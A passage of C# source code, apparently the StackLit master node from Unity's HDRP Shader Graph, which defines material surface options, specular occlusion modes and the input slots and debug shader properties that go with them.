aperture angle or solid angle) // := { uniform (solid angle measure), cos weighted (projected solid angle measure with cone oriented with normal), // cos properly weighted wrt bentnormal (projected solid angle measure with cone oriented with bent normal) } // X // Vs (aka specular occlusion) calculation algo from baked diffuse values above and BSDF lobe properties // := {triACE - not tuned to account for bent normal, cone BSDF proxy intersection with bent cone, precise SPTD BSDF proxy lobe integration against the bent cone} } // // Note that in Lit SSAO is used with triACE as a clamp value to combine it with the calculations done with the baked AO, // by doing a min(VsFromTriACE+SSAO, VsFromBakedVisibility). // (See in particular Lit.hlsl:PostEvaluateBSDF(), MaterialEvaluation.hlsl:GetScreenSpaceAmbientOcclusionMultibounce(), // where the handed bsdfData.specularOcclusion is data based (baked texture). // // In StackLit, we allow control of the SSAO based SO and also the data based one. // // Of the algos described above, we can narrow to these combined options: // { Off, NoBentNormalTriACE, *ConeCone, *SPTD }, where * is any combination of using the normal or the bentnormal with any of 3 choices to interpret the AO // measure for the cone aperture. // // See also _DebugSpecularOcclusion. public enum SpecularOcclusionBaseMode { Off, DirectFromAO, // TriACE ConeConeFromBentAO, SPTDIntegrationOfBentAO } public enum SpecularOcclusionAOConeSize { UniformAO, CosWeightedAO, CosWeightedBentCorrectAO } // This is in case SSAO-based SO method requires it (the SSAO we have doesn't provide a direction) public enum SpecularOcclusionAOConeDir { GeomNormal, BentNormal, ShadingNormal } // SO Bent cone fixup is only for methods using visibility cone and only for the data based SO: public enum SpecularOcclusionConeFixupMethod { Off, BoostBSDFRoughness, TiltDirectionToGeomNormal, BoostAndTilt, } // Don't support Multiply public enum AlphaModeLit { Alpha, Premultiply, Additive, } // Common surface config: // [SerializeField] SurfaceType m_SurfaceType; public SurfaceType surfaceType { get { return m_SurfaceType; } set { if (m_SurfaceType == value) return; m_SurfaceType = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] AlphaMode m_AlphaMode; public AlphaMode alphaMode { get { return m_AlphaMode; } set { if (m_AlphaMode == value) return; m_AlphaMode = value; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_BlendPreserveSpecular = true; public ToggleData blendPreserveSpecular { get { return new ToggleData(m_BlendPreserveSpecular); } set { if (m_BlendPreserveSpecular == value.isOn) return; m_BlendPreserveSpecular = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_TransparencyFog = true; public ToggleData transparencyFog { get { return new ToggleData(m_TransparencyFog); } set { if (m_TransparencyFog == value.isOn) return; m_TransparencyFog = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_Distortion; public ToggleData distortion { get { return new ToggleData(m_Distortion); } set { if (m_Distortion == value.isOn) return; m_Distortion = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] DistortionMode m_DistortionMode; public DistortionMode distortionMode { get { return m_DistortionMode; } set { if (m_DistortionMode == value) return; m_DistortionMode = value; UpdateNodeAfterDeserialization(); // TODOTODO: no need, ModificationScope.Graph is enough? Dirty(ModificationScope.Topological); } } [SerializeField] bool m_DistortionDepthTest = true; public ToggleData distortionDepthTest { get { return new ToggleData(m_DistortionDepthTest); } set { if (m_DistortionDepthTest == value.isOn) return; m_DistortionDepthTest = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_AlphaTest; public ToggleData alphaTest { get { return new ToggleData(m_AlphaTest); } set { if (m_AlphaTest == value.isOn) return; m_AlphaTest = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] int m_SortPriority; public int sortPriority { get { return m_SortPriority; } set { if (m_SortPriority == value) return; m_SortPriority = value; Dirty(ModificationScope.Graph); } } [SerializeField] DoubleSidedMode m_DoubleSidedMode; public DoubleSidedMode doubleSidedMode { get { return m_DoubleSidedMode; } set { if (m_DoubleSidedMode == value) return; m_DoubleSidedMode = value; Dirty(ModificationScope.Graph); } } // Features: material surface input parametrizations // [SerializeField] StackLit.BaseParametrization m_BaseParametrization; public StackLit.BaseParametrization baseParametrization { get { return m_BaseParametrization; } set { if (m_BaseParametrization == value) return; m_BaseParametrization = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_EnergyConservingSpecular = true; public ToggleData energyConservingSpecular { get { return new ToggleData(m_EnergyConservingSpecular); } set { if (m_EnergyConservingSpecular == value.isOn) return; m_EnergyConservingSpecular = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] StackLit.DualSpecularLobeParametrization m_DualSpecularLobeParametrization; public StackLit.DualSpecularLobeParametrization dualSpecularLobeParametrization { get { return m_DualSpecularLobeParametrization; } set { if (m_DualSpecularLobeParametrization == value) return; m_DualSpecularLobeParametrization = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } // TODOTODO Change all to enable* ? // Features: "physical" material type enables // [SerializeField] bool m_Anisotropy; public ToggleData anisotropy { get { return new ToggleData(m_Anisotropy); } set { if (m_Anisotropy == value.isOn) return; m_Anisotropy = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_Coat; public ToggleData coat { get { return new ToggleData(m_Coat); } set { if (m_Coat == value.isOn) return; m_Coat = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_CoatNormal; public ToggleData coatNormal { get { return new ToggleData(m_CoatNormal); } set { if (m_CoatNormal == value.isOn) return; m_CoatNormal = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_DualSpecularLobe; public ToggleData dualSpecularLobe { get { return new ToggleData(m_DualSpecularLobe); } set { if (m_DualSpecularLobe == value.isOn) return; m_DualSpecularLobe = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_CapHazinessWrtMetallic = true; public ToggleData capHazinessWrtMetallic { get { return new ToggleData(m_CapHazinessWrtMetallic); } set { if (m_CapHazinessWrtMetallic == value.isOn) return; m_CapHazinessWrtMetallic = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_Iridescence; public ToggleData iridescence { get { return new ToggleData(m_Iridescence); } set { if (m_Iridescence == value.isOn) return; m_Iridescence = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_SubsurfaceScattering; public ToggleData subsurfaceScattering { get { return new ToggleData(m_SubsurfaceScattering); } set { if (m_SubsurfaceScattering == value.isOn) return; m_SubsurfaceScattering = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_Transmission; public ToggleData transmission { get { return new ToggleData(m_Transmission); } set { if (m_Transmission == value.isOn) return; m_Transmission = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } // Features: other options // [SerializeField] bool m_ReceiveDecals = true; public ToggleData receiveDecals { get { return new ToggleData(m_ReceiveDecals); } set { if (m_ReceiveDecals == value.isOn) return; m_ReceiveDecals = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_ReceiveSSR = true; public ToggleData receiveSSR { get { return new ToggleData(m_ReceiveSSR); } set { if (m_ReceiveSSR == value.isOn) return; m_ReceiveSSR = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_GeometricSpecularAA; public ToggleData geometricSpecularAA { get { return new ToggleData(m_GeometricSpecularAA); } set { if (m_GeometricSpecularAA == value.isOn) return; m_GeometricSpecularAA = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } //[SerializeField] //bool m_SpecularOcclusion; // Main enable // //public ToggleData specularOcclusion //{ // get { return new ToggleData(m_SpecularOcclusion); } // set // { // if (m_SpecularOcclusion == value.isOn) // return; // m_SpecularOcclusion = value.isOn; // UpdateNodeAfterDeserialization(); // Dirty(ModificationScope.Topological); // } //} [SerializeField] SpecularOcclusionBaseMode m_ScreenSpaceSpecularOcclusionBaseMode = SpecularOcclusionBaseMode.DirectFromAO; public SpecularOcclusionBaseMode screenSpaceSpecularOcclusionBaseMode { get { return m_ScreenSpaceSpecularOcclusionBaseMode; } set { if (m_ScreenSpaceSpecularOcclusionBaseMode == value) return; m_ScreenSpaceSpecularOcclusionBaseMode = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] SpecularOcclusionBaseMode m_DataBasedSpecularOcclusionBaseMode = SpecularOcclusionBaseMode.SPTDIntegrationOfBentAO; // ie from baked AO + bentnormal public SpecularOcclusionBaseMode dataBasedSpecularOcclusionBaseMode { get { return m_DataBasedSpecularOcclusionBaseMode; } set { if (m_DataBasedSpecularOcclusionBaseMode == value) return; m_DataBasedSpecularOcclusionBaseMode = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] SpecularOcclusionAOConeSize m_ScreenSpaceSpecularOcclusionAOConeSize; // This is still provided to tweak the effect of SSAO on the SO. public SpecularOcclusionAOConeSize screenSpaceSpecularOcclusionAOConeSize { get { return m_ScreenSpaceSpecularOcclusionAOConeSize; } set { if (m_ScreenSpaceSpecularOcclusionAOConeSize == value) return; m_ScreenSpaceSpecularOcclusionAOConeSize = value; Dirty(ModificationScope.Graph); } } // See SpecularOcclusionAOConeDir for why we need this only for SSAO-based SO: [SerializeField] SpecularOcclusionAOConeDir m_ScreenSpaceSpecularOcclusionAOConeDir; public SpecularOcclusionAOConeDir screenSpaceSpecularOcclusionAOConeDir { get { return m_ScreenSpaceSpecularOcclusionAOConeDir; } set { if (m_ScreenSpaceSpecularOcclusionAOConeDir == value) return; m_ScreenSpaceSpecularOcclusionAOConeDir = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] SpecularOcclusionAOConeSize m_DataBasedSpecularOcclusionAOConeSize = SpecularOcclusionAOConeSize.CosWeightedBentCorrectAO; // Only for SO methods using visibility cones (ie ConeCone and SPTD) public SpecularOcclusionAOConeSize dataBasedSpecularOcclusionAOConeSize { get { return m_DataBasedSpecularOcclusionAOConeSize; } set { if (m_DataBasedSpecularOcclusionAOConeSize == value) return; m_DataBasedSpecularOcclusionAOConeSize = value; Dirty(ModificationScope.Graph); } } // TODO: this needs to be per lobe, less useful to have custom input. //[SerializeField] //bool m_SpecularOcclusionIsCustom; // allow custom input port for SO (replaces the data based one) // //public ToggleData specularOcclusionIsCustom //{ // get { return new ToggleData(m_SpecularOcclusionIsCustom); } // set // { // if (m_SpecularOcclusionIsCustom == value.isOn) // return; // m_SpecularOcclusionIsCustom = value.isOn; // UpdateNodeAfterDeserialization(); // Dirty(ModificationScope.Topological); // } //} // SO Bent cone fixup is only for methods using visibility cone and only for the data based SO: [SerializeField] SpecularOcclusionConeFixupMethod m_SpecularOcclusionConeFixupMethod; public SpecularOcclusionConeFixupMethod specularOcclusionConeFixupMethod { get { return m_SpecularOcclusionConeFixupMethod; } set { if (m_SpecularOcclusionConeFixupMethod == value) return; m_SpecularOcclusionConeFixupMethod = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } // Features: Advanced options // [SerializeField] bool m_AnisotropyForAreaLights = true; public ToggleData anisotropyForAreaLights { get { return new ToggleData(m_AnisotropyForAreaLights); } set { if (m_AnisotropyForAreaLights == value.isOn) return; m_AnisotropyForAreaLights = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_RecomputeStackPerLight; public ToggleData recomputeStackPerLight { get { return new ToggleData(m_RecomputeStackPerLight); } set { if (m_RecomputeStackPerLight == value.isOn) return; m_RecomputeStackPerLight = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_ShadeBaseUsingRefractedAngles; public ToggleData shadeBaseUsingRefractedAngles { get { return new ToggleData(m_ShadeBaseUsingRefractedAngles); } set { if (m_ShadeBaseUsingRefractedAngles == value.isOn) return; m_ShadeBaseUsingRefractedAngles = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_Debug; public ToggleData debug { get { return new ToggleData(m_Debug); } set { if (m_Debug == value.isOn) return; m_Debug = value.isOn; Dirty(ModificationScope.Graph); } } [SerializeField] bool m_overrideBakedGI; public ToggleData overrideBakedGI { get { return new ToggleData(m_overrideBakedGI); } set { if (m_overrideBakedGI == value.isOn) return; m_overrideBakedGI = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_depthOffset; public ToggleData depthOffset { get { return new ToggleData(m_depthOffset); } set { if (m_depthOffset == value.isOn) return; m_depthOffset = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] bool m_ZWrite; public ToggleData zWrite { get { return new ToggleData(m_ZWrite); } set { if (m_ZWrite == value.isOn) return; m_ZWrite = value.isOn; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Topological); } } [SerializeField] TransparentCullMode m_transparentCullMode = TransparentCullMode.Back; public TransparentCullMode transparentCullMode { get => m_transparentCullMode; set { if (m_transparentCullMode == value) return; m_transparentCullMode = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Graph); } } [SerializeField] CompareFunction m_ZTest = CompareFunction.LessEqual; public CompareFunction zTest { get => m_ZTest; set { if (m_ZTest == value) return; m_ZTest = value; UpdateNodeAfterDeserialization(); Dirty(ModificationScope.Graph); } } public StackLitMasterNode() { UpdateNodeAfterDeserialization(); } public override string documentationURL { get { return null; } } public bool HasDistortion() { return (surfaceType == SurfaceType.Transparent && distortion.isOn); } public static bool SpecularOcclusionModeUsesVisibilityCone(SpecularOcclusionBaseMode soMethod) { return (soMethod == SpecularOcclusionBaseMode.ConeConeFromBentAO || soMethod == SpecularOcclusionBaseMode.SPTDIntegrationOfBentAO); } public bool SpecularOcclusionUsesBentNormal() { return (SpecularOcclusionModeUsesVisibilityCone(dataBasedSpecularOcclusionBaseMode) || (SpecularOcclusionModeUsesVisibilityCone(screenSpaceSpecularOcclusionBaseMode) && screenSpaceSpecularOcclusionAOConeDir == SpecularOcclusionAOConeDir.BentNormal)); } public static bool SpecularOcclusionConeFixupMethodModifiesRoughness(SpecularOcclusionConeFixupMethod soConeFixupMethod) { return (soConeFixupMethod == SpecularOcclusionConeFixupMethod.BoostBSDFRoughness || soConeFixupMethod == SpecularOcclusionConeFixupMethod.BoostAndTilt); } public sealed override void UpdateNodeAfterDeserialization() { base.UpdateNodeAfterDeserialization(); name = "StackLit Master"; List<int> validSlots = new List<int>(); AddSlot(new PositionMaterialSlot(PositionSlotId, PositionSlotName, PositionSlotName, CoordinateSpace.Object, ShaderStageCapability.Vertex)); validSlots.Add(PositionSlotId); AddSlot(new NormalMaterialSlot(NormalSlotId, NormalSlotName, NormalSlotName, CoordinateSpace.Tangent, ShaderStageCapability.Fragment)); validSlots.Add(NormalSlotId); AddSlot(new NormalMaterialSlot(BentNormalSlotId, BentNormalSlotName, BentNormalSlotName, CoordinateSpace.Tangent, ShaderStageCapability.Fragment)); validSlots.Add(BentNormalSlotId); AddSlot(new TangentMaterialSlot(TangentSlotId, TangentSlotName, TangentSlotName, CoordinateSpace.Tangent, ShaderStageCapability.Fragment)); validSlots.Add(TangentSlotId); AddSlot(new ColorRGBMaterialSlot(BaseColorSlotId, BaseColorSlotName, BaseColorSlotName, SlotType.Input, Color.grey.gamma, ColorMode.Default, ShaderStageCapability.Fragment)); validSlots.Add(BaseColorSlotId); if (baseParametrization == StackLit.BaseParametrization.BaseMetallic) { AddSlot(new Vector1MaterialSlot(MetallicSlotId, MetallicSlotName, MetallicSlotName, SlotType.Input, 0.0f, ShaderStageCapability.Fragment)); validSlots.Add(MetallicSlotId); AddSlot(new Vector1MaterialSlot(DielectricIorSlotId, DielectricIorSlotName, DielectricIorSlotName, SlotType.Input, 1.5f, ShaderStageCapability.Fragment)); validSlots.Add(DielectricIorSlotId); } else if (baseParametrization == StackLit.BaseParametrization.SpecularColor) { AddSlot(new ColorRGBMaterialSlot(SpecularColorSlotId, SpecularColorSlotName, SpecularColorSlotName, SlotType.Input, Color.white, ColorMode.Default, ShaderStageCapability.Fragment)); validSlots.Add(SpecularColorSlotId); } AddSlot(new Vector1MaterialSlot(SmoothnessASlotId, SmoothnessASlotName, SmoothnessASlotName, SlotType.Input, 0.5f, ShaderStageCapability.Fragment)); validSlots.Add(SmoothnessASlotId); if (anisotropy.isOn) { AddSlot(new Vector1MaterialSlot(AnisotropyASlotId, AnisotropyASlotName, AnisotropyASlotName, SlotType.Input, 0.0f, ShaderStageCapability.Fragment)); validSlots.Add(AnisotropyASlotId); } AddSlot(new Vector1MaterialSlot(AmbientOcclusionSlotId, AmbientOcclusionSlotName, AmbientOcclusionSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(AmbientOcclusionSlotId); // TODO: we would ideally need one value per lobe //if (specularOcclusion.isOn && specularOcclusionIsCustom.isOn) //{ // // AddSlot(new Vector1MaterialSlot(SpecularOcclusionSlotId, SpecularOcclusionSlotName, SpecularOcclusionSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)) // validSlots.Add(SpecularOcclusionSlotId); //} if (SpecularOcclusionUsesBentNormal() && specularOcclusionConeFixupMethod != SpecularOcclusionConeFixupMethod.Off) { AddSlot(new Vector1MaterialSlot(SOFixupVisibilityRatioThresholdSlotId, SOFixupVisibilityRatioThresholdSlotName, SOFixupVisibilityRatioThresholdSlotName, SlotType.Input, 0.2f, ShaderStageCapability.Fragment)); validSlots.Add(SOFixupVisibilityRatioThresholdSlotId); AddSlot(new Vector1MaterialSlot(SOFixupStrengthFactorSlotId, SOFixupStrengthFactorSlotName, SOFixupStrengthFactorSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(SOFixupStrengthFactorSlotId); if (SpecularOcclusionConeFixupMethodModifiesRoughness(specularOcclusionConeFixupMethod)) { AddSlot(new Vector1MaterialSlot(SOFixupMaxAddedRoughnessSlotId, SOFixupMaxAddedRoughnessSlotName, SOFixupMaxAddedRoughnessSlotName, SlotType.Input, 0.2f, ShaderStageCapability.Fragment)); validSlots.Add(SOFixupMaxAddedRoughnessSlotId); } } if (coat.isOn) { AddSlot(new Vector1MaterialSlot(CoatSmoothnessSlotId, CoatSmoothnessSlotName, CoatSmoothnessSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(CoatSmoothnessSlotId); AddSlot(new Vector1MaterialSlot(CoatIorSlotId, CoatIorSlotName, CoatIorSlotName, SlotType.Input, 1.4f, ShaderStageCapability.Fragment)); validSlots.Add(CoatIorSlotId); AddSlot(new Vector1MaterialSlot(CoatThicknessSlotId, CoatThicknessSlotName, CoatThicknessSlotName, SlotType.Input, 0.0f, ShaderStageCapability.Fragment)); validSlots.Add(CoatThicknessSlotId); AddSlot(new ColorRGBMaterialSlot(CoatExtinctionSlotId, CoatExtinctionSlotName, CoatExtinctionSlotName, SlotType.Input, Color.white, ColorMode.HDR, ShaderStageCapability.Fragment)); validSlots.Add(CoatExtinctionSlotId); if (coatNormal.isOn) { AddSlot(new NormalMaterialSlot(CoatNormalSlotId, CoatNormalSlotName, CoatNormalSlotName, CoordinateSpace.Tangent, ShaderStageCapability.Fragment)); validSlots.Add(CoatNormalSlotId); } AddSlot(new Vector1MaterialSlot(CoatMaskSlotId, CoatMaskSlotName, CoatMaskSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(CoatMaskSlotId); } if (dualSpecularLobe.isOn) { if (dualSpecularLobeParametrization == StackLit.DualSpecularLobeParametrization.Direct) { AddSlot(new Vector1MaterialSlot(SmoothnessBSlotId, SmoothnessBSlotName, SmoothnessBSlotName, SlotType.Input, 0.5f, ShaderStageCapability.Fragment)); validSlots.Add(SmoothnessBSlotId); AddSlot(new Vector1MaterialSlot(LobeMixSlotId, LobeMixSlotName, LobeMixSlotName, SlotType.Input, 0.3f, ShaderStageCapability.Fragment)); validSlots.Add(LobeMixSlotId); } else if (dualSpecularLobeParametrization == StackLit.DualSpecularLobeParametrization.HazyGloss) { AddSlot(new Vector1MaterialSlot(HazinessSlotId, HazinessSlotName, HazinessSlotName, SlotType.Input, 0.2f, ShaderStageCapability.Fragment)); validSlots.Add(HazinessSlotId); AddSlot(new Vector1MaterialSlot(HazeExtentSlotId, HazeExtentSlotName, HazeExtentSlotName, SlotType.Input, 3.0f, ShaderStageCapability.Fragment)); validSlots.Add(HazeExtentSlotId); if (capHazinessWrtMetallic.isOn && baseParametrization == StackLit.BaseParametrization.BaseMetallic) // the later should be an assert really { AddSlot(new Vector1MaterialSlot(HazyGlossMaxDielectricF0SlotId, HazyGlossMaxDielectricF0SlotName, HazyGlossMaxDielectricF0SlotName, SlotType.Input, 0.25f, ShaderStageCapability.Fragment)); validSlots.Add(HazyGlossMaxDielectricF0SlotId); } } if (anisotropy.isOn) { AddSlot(new Vector1MaterialSlot(AnisotropyBSlotId, AnisotropyBSlotName, AnisotropyBSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(AnisotropyBSlotId); } } if (iridescence.isOn) { AddSlot(new Vector1MaterialSlot(IridescenceMaskSlotId, IridescenceMaskSlotName, IridescenceMaskSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(IridescenceMaskSlotId); AddSlot(new Vector1MaterialSlot(IridescenceThicknessSlotId, IridescenceThicknessSlotName, IridescenceThicknessSlotName, SlotType.Input, 0.0f, ShaderStageCapability.Fragment)); validSlots.Add(IridescenceThicknessSlotId); if (coat.isOn) { AddSlot(new Vector1MaterialSlot(IridescenceCoatFixupTIRSlotId, IridescenceCoatFixupTIRSlotName, IridescenceCoatFixupTIRSlotName, SlotType.Input, 0.0f, ShaderStageCapability.Fragment)); validSlots.Add(IridescenceCoatFixupTIRSlotId); AddSlot(new Vector1MaterialSlot(IridescenceCoatFixupTIRClampSlotId, IridescenceCoatFixupTIRClampSlotName, IridescenceCoatFixupTIRClampSlotName, SlotType.Input, 0.0f, ShaderStageCapability.Fragment)); validSlots.Add(IridescenceCoatFixupTIRClampSlotId); } } if (subsurfaceScattering.isOn) { AddSlot(new Vector1MaterialSlot(SubsurfaceMaskSlotId, SubsurfaceMaskSlotName, SubsurfaceMaskSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(SubsurfaceMaskSlotId); } if (transmission.isOn) { AddSlot(new Vector1MaterialSlot(ThicknessSlotId, ThicknessSlotName, ThicknessSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(ThicknessSlotId); } if (subsurfaceScattering.isOn || transmission.isOn) { AddSlot(new DiffusionProfileInputMaterialSlot(DiffusionProfileHashSlotId, DiffusionProfileHashSlotName, DiffusionProfileHashSlotName, ShaderStageCapability.Fragment)); validSlots.Add(DiffusionProfileHashSlotId); } AddSlot(new Vector1MaterialSlot(AlphaSlotId, AlphaSlotName, AlphaSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(AlphaSlotId); if (alphaTest.isOn) { AddSlot(new Vector1MaterialSlot(AlphaClipThresholdSlotId, AlphaClipThresholdSlotName, AlphaClipThresholdSlotName, SlotType.Input, 0.5f, ShaderStageCapability.Fragment)); validSlots.Add(AlphaClipThresholdSlotId); } AddSlot(new ColorRGBMaterialSlot(EmissionSlotId, EmissionSlotName, EmissionSlotName, SlotType.Input, Color.black, ColorMode.HDR, ShaderStageCapability.Fragment)); validSlots.Add(EmissionSlotId); if (HasDistortion()) { AddSlot(new Vector2MaterialSlot(DistortionSlotId, DistortionSlotName, DistortionSlotName, SlotType.Input, new Vector2(2.0f, -1.0f), ShaderStageCapability.Fragment)); validSlots.Add(DistortionSlotId); AddSlot(new Vector1MaterialSlot(DistortionBlurSlotId, DistortionBlurSlotName, DistortionBlurSlotName, SlotType.Input, 1.0f, ShaderStageCapability.Fragment)); validSlots.Add(DistortionBlurSlotId); } if (geometricSpecularAA.isOn) { AddSlot(new Vector1MaterialSlot(SpecularAAScreenSpaceVarianceSlotId, SpecularAAScreenSpaceVarianceSlotName, SpecularAAScreenSpaceVarianceSlotName, SlotType.Input, 0.1f, ShaderStageCapability.Fragment)); validSlots.Add(SpecularAAScreenSpaceVarianceSlotId); AddSlot(new Vector1MaterialSlot(SpecularAAThresholdSlotId, SpecularAAThresholdSlotName, SpecularAAThresholdSlotName, SlotType.Input, 0.2f, ShaderStageCapability.Fragment)); validSlots.Add(SpecularAAThresholdSlotId); } if (overrideBakedGI.isOn) { AddSlot(new DefaultMaterialSlot(LightingSlotId, BakedGISlotName, BakedGISlotName, ShaderStageCapability.Fragment)); validSlots.Add(LightingSlotId); AddSlot(new DefaultMaterialSlot(BackLightingSlotId, BakedBackGISlotName, BakedBackGISlotName, ShaderStageCapability.Fragment)); validSlots.Add(BackLightingSlotId); } if (depthOffset.isOn) { AddSlot(new Vector1MaterialSlot(DepthOffsetSlotId, DepthOffsetSlotName, DepthOffsetSlotName, SlotType.Input, 0.0f, ShaderStageCapability.Fragment)); validSlots.Add(DepthOffsetSlotId); } RemoveSlotsNameNotMatching(validSlots, true); } protected override VisualElement CreateCommonSettingsElement() { return new StackLitSettingsView(this); } public NeededCoordinateSpace RequiresNormal(ShaderStageCapability stageCapability) { List<MaterialSlot> slots = new List<MaterialSlot>(); GetSlots(slots); List<MaterialSlot> validSlots = new List<MaterialSlot>(); for (int i = 0; i < slots.Count; i++) { if (slots[i].stageCapability != ShaderStageCapability.All && slots[i].stageCapability != stageCapability) continue; validSlots.Add(slots[i]); } return validSlots.OfType<IMayRequireNormal>().Aggregate(NeededCoordinateSpace.None, (mask, node) => mask | node.RequiresNormal(stageCapability)); } public NeededCoordinateSpace RequiresTangent(ShaderStageCapability stageCapability) { List<MaterialSlot> slots = new List<MaterialSlot>(); GetSlots(slots); List<MaterialSlot> validSlots = new List<MaterialSlot>(); for (int i = 0; i < slots.Count; i++) { if (slots[i].stageCapability != ShaderStageCapability.All && slots[i].stageCapability != stageCapability) continue; validSlots.Add(slots[i]); } return validSlots.OfType<IMayRequireTangent>().Aggregate(NeededCoordinateSpace.None, (mask, node) => mask | node.RequiresTangent(stageCapability)); } public NeededCoordinateSpace RequiresPosition(ShaderStageCapability stageCapability) { List<MaterialSlot> slots = new List<MaterialSlot>(); GetSlots(slots); List<MaterialSlot> validSlots = new List<MaterialSlot>(); for (int i = 0; i < slots.Count; i++) { if (slots[i].stageCapability != ShaderStageCapability.All && slots[i].stageCapability != stageCapability) continue; validSlots.Add(slots[i]); } return validSlots.OfType<IMayRequirePosition>().Aggregate(NeededCoordinateSpace.None, (mask, node) => mask | node.RequiresPosition(stageCapability)); } public bool RequiresSplitLighting() { return subsurfaceScattering.isOn; } public override void ProcessPreviewMaterial(Material previewMaterial) { // Fixup the material settings: previewMaterial.SetFloat(kSurfaceType, (int)(SurfaceType)surfaceType); previewMaterial.SetFloat(kDoubleSidedNormalMode, (int)doubleSidedMode); previewMaterial.SetFloat(kDoubleSidedEnable, doubleSidedMode != DoubleSidedMode.Disabled ? 1.0f : 0.0f); previewMaterial.SetFloat(kAlphaCutoffEnabled, alphaTest.isOn ? 1 : 0); previewMaterial.SetFloat(kBlendMode, (int)HDSubShaderUtilities.ConvertAlphaModeToBlendMode(alphaMode)); previewMaterial.SetFloat(kEnableFogOnTransparent, transparencyFog.isOn ? 1.0f : 0.0f); previewMaterial.SetFloat(kZTestTransparent, (int)zTest); previewMaterial.SetFloat(kTransparentCullMode, (int)transparentCullMode); previewMaterial.SetFloat(kZWrite, zWrite.isOn ? 1.0f : 0.0f); // No sorting priority for shader graph preview var renderingPass = surfaceType == SurfaceType.Opaque ? HDRenderQueue.RenderQueueType.Opaque : HDRenderQueue.RenderQueueType.Transparent; previewMaterial.renderQueue = (int)HDRenderQueue.ChangeType(renderingPass, offset: 0, alphaTest: alphaTest.isOn); StackLitGUI.SetupMaterialKeywordsAndPass(previewMaterial); } public override void CollectShaderProperties(PropertyCollector collector, GenerationMode generationMode) { if (debug.isOn) { // We have useful debug options in StackLit, so add them always, and let the UI editor (non shadergraph) handle displaying them // since this is also the editor that controls the keyword switching for the debug mode. collector.AddShaderProperty(new Vector4ShaderProperty() { overrideReferenceName = "_DebugEnvLobeMask", // xyz is environments lights lobe 0 1 2 Enable, w is Enable VLayering displayName = "_DebugEnvLobeMask", value = new Vector4(1.0f, 1.0f, 1.0f, 1.0f) }); collector.AddShaderProperty(new Vector4ShaderProperty() { overrideReferenceName = "_DebugLobeMask", // xyz is analytical dirac lights lobe 0 1 2 Enable", false), displayName = "_DebugLobeMask", value = new Vector4(1.0f, 1.0f, 1.0f, 1.0f) }); collector.AddShaderProperty(new Vector4ShaderProperty() { overrideReferenceName = "_DebugAniso", // x is Hack Enable, w is factor displayName = "_DebugAniso", value = new Vector4(1.0f, 0.0f, 0.0f, 1000.0f) }); // _DebugSpecularOcclusion: // // eg (2,2,1,2) : // .x = SO method {0 = fromAO, 1 = conecone, 2 = SPTD}, // .y = bentao algo {0 = uniform, cos, bent cos}, // .z = use upper visible hemisphere clipping, // .w = The last component of _DebugSpecularOcclusion controls debug visualization: // -1 colors the object according to the SO algorithm used, // and values from 1 to 4 controls what the lighting debug display mode will show when set to show "indirect specular occlusion": // Since there's not one value in our case, // 0 will show the object all red to indicate to choose one, 1-4 corresponds to showing // 1 = coat SO, 2 = base lobe A SO, 3 = base lobe B SO, 4 = shows the result of sampling the SSAO texture (screenSpaceAmbientOcclusion). collector.AddShaderProperty(new Vector4ShaderProperty() { overrideReferenceName = "_DebugSpecularOcclusion", displayName = "_DebugSpecularOcclusion", value = new Vector4(2.0f, 2.0f, 1.0f, 2.0f) }); } // Trunk currently relies on checking material property "_EmissionColor" to allow emissive GI. If it 